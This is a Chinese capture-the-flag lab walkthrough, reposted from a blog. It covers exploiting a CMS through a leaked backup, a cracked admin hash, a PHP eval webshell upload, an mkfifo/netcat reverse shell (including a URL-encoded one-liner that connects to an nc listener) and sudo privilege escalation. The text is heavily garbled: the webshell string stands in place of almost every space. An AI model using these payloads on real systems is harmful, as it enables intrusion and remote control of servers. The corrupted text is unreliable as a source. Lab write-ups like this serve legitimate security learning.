参考视频:https://www.bilibili.com/video/BV16Tc8eCEKZ/?spm_id_from=333.1387.homepage.video_card.click
Nmap的-F参数用于快速扫描目标主机上开放的端口。它会限制扫描的端口范围,只扫描常见的1000个端口,而不是扫描所有的65535个端口。这样可以加快扫描速度,尤其是在进行初步评估时非常有用。
可以看到端口只有一个ssh口和web口
在浏览器输入ip查看内容:
是一个apache的默认页面,可以看网站源码里面有没有隐藏的信息,按ctrl+u
似乎没有,试试目录扫描,看有没有隐藏的文件:
<?=@eval($_GET[1]);?> dirb<?=@eval($_GET[1]);?> http://10.10.114.252看到index.php,尝试发现10.10.176.206/content/as/index.php可以打开(这个ip是重新创建的实例)
CMS(Content<?=@eval($_GET[1]);?> Management<?=@eval($_GET[1]);?> System,内容管理系统)是一种用于创建、管理和修改数字内容的软件工具或平台。它使用户可以轻松地创建和编辑网站上的内容,而不需要深入的编程知识。通常,CMS允许用户通过图形界面进行操作,而不需要直接操作HTML、CSS或其他编程语言。
通过searchsploit查找该CMS有没有已知漏洞
不知道版本是否能对上,可以先看一看
- [/code]通过-m可以把我们所需的漏洞信息导入到自己的目录下面
- [indent]with<?=@eval($_GET[1]);?> session()<?=@eval($_GET[1]);?> as<?=@eval($_GET[1]);?> r:<?=@eval($_GET[1]);?> 是<?=@eval($_GET[1]);?> Python<?=@eval($_GET[1]);?> 中一种使用上下文管理器(context<?=@eval($_GET[1]);?> manager)的语法,通常在处理需要自动管理资源的场景中使用。在这个例子中,session()通常是一个会话对象(例如来自<?=@eval($_GET[1]);?> requests<?=@eval($_GET[1]);?> 或<?=@eval($_GET[1]);?> SQLAlchemy<?=@eval($_GET[1]);?> 库),并且通过<?=@eval($_GET[1]);?> with<?=@eval($_GET[1]);?> 语句块来确保会话的资源被正确管理,自动进行清理和关闭。
- [size=4]语法解释:[/size]
- [list]
- [*]with<?=@eval($_GET[1]);?> 语句:它会自动管理上下文,保证在代码块执行前后做一些操作(如打开和关闭文件、数据库连接等)。
- [*]session():通常是创建一个会话对象,它用于发起网络请求、数据库连接等操作。在一些库中,如<?=@eval($_GET[1]);?> requests(用于网络请求)或者<?=@eval($_GET[1]);?> SQLAlchemy(用于数据库操作),session()<?=@eval($_GET[1]);?> 用来管理连接的生命周期。
- [*]as<?=@eval($_GET[1]);?> r:表示将会话对象<?=@eval($_GET[1]);?> session()<?=@eval($_GET[1]);?> 赋值给变量<?=@eval($_GET[1]);?> r,你可以通过<?=@eval($_GET[1]);?> r<?=@eval($_GET[1]);?> 来操作会话对象。
- [/list][/indent]分析这段脚本,看来是要在登录成功后进行文件上传,漏洞原理是未对扩展名做出限制
- [indent]
- [list]
- [*]危险文件示例:
- [list]
- [*]Webshell(.php5):服务器配置可能允许.php5扩展名执行PHP代码。
- [*].htaccess:可修改Apache配置,将其他扩展名(如.jpg)解析为PHP,绕过后续检测。
- [/list]
- [/list][/indent]用另外一个漏洞获取管理员密码,这里是备份文件泄露[align=center]
[/align] - 上面写可以在指定路径下载所有的数据库文件
- 目录的位置可以一级一级往上尝试
- 最后得到:[align=center]
[/align][align=center]
[/align] - 我们尝试对这串密码进行解密:使用crackstation工具
- [align=center]
[/align] - 然后我们登录进去,文件可知管理员账号是manager
- 根据直接之前的文件上传漏洞脚本可知,漏洞点在media-center
- 创建一个木马文件去尝试拿到webshell进行操作
- 这里木马用的是:
- [code]<?=@eval($_GET[1]);?>
复制代码 这里注意上传之后测试的路径,可以直接右键上传的文件点击openlink,这样就不用试了
之前没有接触过,我想知道<?=@eval($_GET[1]);?> whoami有什么用,怎么查看自己当前的权限呢?
如果返回的是<?=@eval($_GET[1]);?> www-data(通常是Web服务器的用户),这意味着你正在以Web服务器的权限执行命令,这通常是有限制的,无法进行一些管理操作。
如果返回的是管理员或root权限的用户名(如<?=@eval($_GET[1]);?> root<?=@eval($_GET[1]);?> 或<?=@eval($_GET[1]);?> Administrator),则说明你可能已获得较高权限,可能存在安全风险。
所以现在要提升权限
为了提升权限,需要反弹一下shell
现在的我对反弹shell一无所知
关于提权,请看我另外一篇笔记https://www.cnblogs.com/Ex1st/p/18744687/reverse_shell<?=@eval($_GET[1]);?> 《提权(先谈reverse反弹)》
反弹shell(这些另外一篇笔记写了)链接
问:我现在正在进行一个测试,目前已经利用木马上传文件漏洞拿到了shell,通过whoami命令查到现在是www-data,老师告诉我要反弹shell,但是我之前没有了解过,请你结合提权中反弹shell的过程和目的详细的介绍和解释
1、首先为什么反弹shell有助于提权?
答:可能当前的shell是受限的,或者非交互式的,无法执行提权操作。通过反弹获得更完整的shell环境,比如使用python的pyt模块生成交互式终端
2、什么是反弹shell
反弹Shell是一种常见的渗透技术,允许攻击者在目标计算机上执行远程命令。通过让目标计算机主动连接到攻击者的计算机,攻击者可以绕过目标机器的防火墙或入站限制。防护措施包括加强防火墙规则、使用IDS/IPS、以及限制用户权限等。
3、hack-tools的使用
rlwrap<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvnp<?=@eval($_GET[1]);?> 5555
ChatGPT<?=@eval($_GET[1]);?> 说:
命令<?=@eval($_GET[1]);?> rlwrap<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvnp<?=@eval($_GET[1]);?> 5555<?=@eval($_GET[1]);?> 结合了<?=@eval($_GET[1]);?> rlwrap<?=@eval($_GET[1]);?> 和<?=@eval($_GET[1]);?> nc(Netcat)工具,目的是为<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 提供更好的命令行编辑体验。具体来说,这个命令会启动<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 监听端口<?=@eval($_GET[1]);?> 5555,等待反向连接,并为该命令提供<?=@eval($_GET[1]);?> GNU<?=@eval($_GET[1]);?> Readline<?=@eval($_GET[1]);?> 的功能,以便可以使用命令历史、自动补全等功能。
解释各个部分:
- **rlwrap**:**rlwrap**<?=@eval($_GET[1]);?> 中:
- rlwrap<?=@eval($_GET[1]);?> 是一个提供<?=@eval($_GET[1]);?> GNU<?=@eval($_GET[1]);?> Readline<?=@eval($_GET[1]);?> 功能的工具,它为没有行编辑功能的命令行工具(如<?=@eval($_GET[1]);?> nc)提供命令历史记录、补全和其他编辑功能。
- 通过<?=@eval($_GET[1]);?> rlwrap,你可以在<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 中使用<?=@eval($_GET[1]);?> ↑<?=@eval($_GET[1]);?> 和<?=@eval($_GET[1]);?> ↓<?=@eval($_GET[1]);?> 键浏览命令历史,使用<?=@eval($_GET[1]);?> Tab<?=@eval($_GET[1]);?> 键补全文件路径等。
- **nc**(Netcat):**nc**(Netcat)的:
- nc(Netcat)是一个强大的网络工具,用于建立TCP或UDP连接。它常用于网络调试、监听端口、发送数据或创建反向Shell。
- 在这个命令中,nc<?=@eval($_GET[1]);?> 用来在本地监听端口<?=@eval($_GET[1]);?> 5555。
- **-l**:
- -l<?=@eval($_GET[1]);?> 选项使<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 进入监听模式,等待外部的连接。
- **-v**:
- -v<?=@eval($_GET[1]);?> 选项启用详细模式,显示更多的连接信息。
- **-n**:
- -n<?=@eval($_GET[1]);?> 禁止进行DNS解析,直接使用IP地址。这意味着Netcat不会将连接的主机名解析为域名,而是直接使用IP地址。
- **-p<?=@eval($_GET[1]);?> 5555**:**-第<?=@eval($_GET[1]);?> 5555<?=@eval($_GET[1]);?> 页**:
- -p<?=@eval($_GET[1]);?> 选项指定<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 要监听的端口号,此处是端口<?=@eval($_GET[1]);?> 5555。
**nc<?=@eval($_GET[1]);?> mkfifo****<?=@eval($_GET[1]);?> 的作用**
在网络安全(如反弹Shell)中,攻击者可以利用<?=@eval($_GET[1]);?> mkfifo<?=@eval($_GET[1]);?> 创建一个命名管道,并让<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 通过该管道进行远程命令执行。例如:- mkfifo<?=@eval($_GET[1]);?> /tmp/f;<?=@eval($_GET[1]);?> nc<?=@eval($_GET[1]);?> -lvp<?=@eval($_GET[1]);?> 4444<?=@eval($_GET[1]);?> <<?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> |<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> ><?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 2>&1
复制代码 解释各个部分:
- mkfifo<?=@eval($_GET[1]);?> /tmp/f
- 在<?=@eval($_GET[1]);?> /tmp/<?=@eval($_GET[1]);?> 目录下创建一个命名管道<?=@eval($_GET[1]);?> f。
- nc<?=@eval($_GET[1]);?> -lvp<?=@eval($_GET[1]);?> 4444<?=@eval($_GET[1]);?> <<?=@eval($_GET[1]);?> /tmp/f
- 启动<?=@eval($_GET[1]);?> Netcat,监听端口<?=@eval($_GET[1]);?> 4444,等待连接,并将输入数据重定向到<?=@eval($_GET[1]);?> /tmp/f。
- |<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> ><?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 2>&1
- 通过<?=@eval($_GET[1]);?> |(管道)让<?=@eval($_GET[1]);?> /bin/sh<?=@eval($_GET[1]);?> 读取<?=@eval($_GET[1]);?> /tmp/f<?=@eval($_GET[1]);?> 的数据,并将输出(标准输出<?=@eval($_GET[1]);?> +<?=@eval($_GET[1]);?> 标准错误)写回到<?=@eval($_GET[1]);?> /tmp/f。
- 这样,Netcat<?=@eval($_GET[1]);?> 接收到的数据会被<?=@eval($_GET[1]);?> sh<?=@eval($_GET[1]);?> 解释为命令,而<?=@eval($_GET[1]);?> sh<?=@eval($_GET[1]);?> 的执行结果会通过<?=@eval($_GET[1]);?> Netcat<?=@eval($_GET[1]);?> 发送回去。
**<?=@eval($_GET[1]);?> **mkfifo**<?=@eval($_GET[1]);?> 介绍**
mkfifo<?=@eval($_GET[1]);?> 是<?=@eval($_GET[1]);?> Linux<?=@eval($_GET[1]);?> 下的一个命令,用于创建<?=@eval($_GET[1]);?> FIFO(命名管道)<?=@eval($_GET[1]);?> 文件,它的作用是让多个进程可以通过这个管道进行通信。FIFO<?=@eval($_GET[1]);?> 的特点是:
- 数据是<?=@eval($_GET[1]);?> 单向流动<?=@eval($_GET[1]);?> 的(类似于<?=@eval($_GET[1]);?> |<?=@eval($_GET[1]);?> 管道)。
- 进程<?=@eval($_GET[1]);?> A<?=@eval($_GET[1]);?> 写入数据到<?=@eval($_GET[1]);?> FIFO<?=@eval($_GET[1]);?> 文件,进程<?=@eval($_GET[1]);?> B<?=@eval($_GET[1]);?> 读取数据。
- rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.176.206%205555%20%3E%2Ftmp%2Ff
操作:
第一个框填本机IP,第二个框填nc监听的端口
选择nc<?=@eval($_GET[1]);?> mkfifo,记得URL编码可以绕过
反弹完shell之后,就可以开始提权了:
1、sudo<?=@eval($_GET[1]);?> -l:<?=@eval($_GET[1]);?> 检查当前用户对<?=@eval($_GET[1]);?> sudo<?=@eval($_GET[1]);?> 命令的授权和权限的命令。具体来说,它会列出用户可以以<?=@eval($_GET[1]);?> sudo<?=@eval($_GET[1]);?> 执行的命令和权限级别。<?=@eval($_GET[1]);?> <?=@eval($_GET[1]);?>
它能够列出有哪些命令是不需要密码就可以以管理员的身份执行的
或者说知道密码的情况下可以用管理员身份执行
这里的nopasswd部分:应该是执行一个pl格式的脚本
一般来说执行定时任务的脚本,比如定时备份,或者定时把某个文件搬运到另外一个地方
如果能够编辑这样的文件,并且可以以管理员的身份执行,就能够提权
首先查看backup.pl的权限,为只读
文件查看权限:
接下来的<?=@eval($_GET[1]);?> 9<?=@eval($_GET[1]);?> 个字符:表示文件的权限,按三组分开:
前三个字符:表示文件所有者(Owner)的权限
接下来的三个字符:表示文件所属用户组(Group)的权限
最后三个字符:表示其他用户(Others)的权限
r:读取权限(Read)
w:写入权限(Write)
x:执行权限(Execute)
-:没有该权限
这个地方文件的所有者是root,r-x
内容是执行这个文件
这个地方rwx,是可读可写,内容是:
可以通过重定向将echo的输出写入文件,如果文件已存在,则覆盖,如果想追加,用>>
输入新的连接端口的payload,这里是在普通用户执行管理员可以执行的命令,这个命令打开一个文件,这个文件执行另外一个文件b,这个文件b(在root)发送请求,连接到攻击者的主机
对应的监听端口,
执行这个管理员命令,记得加sudo
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |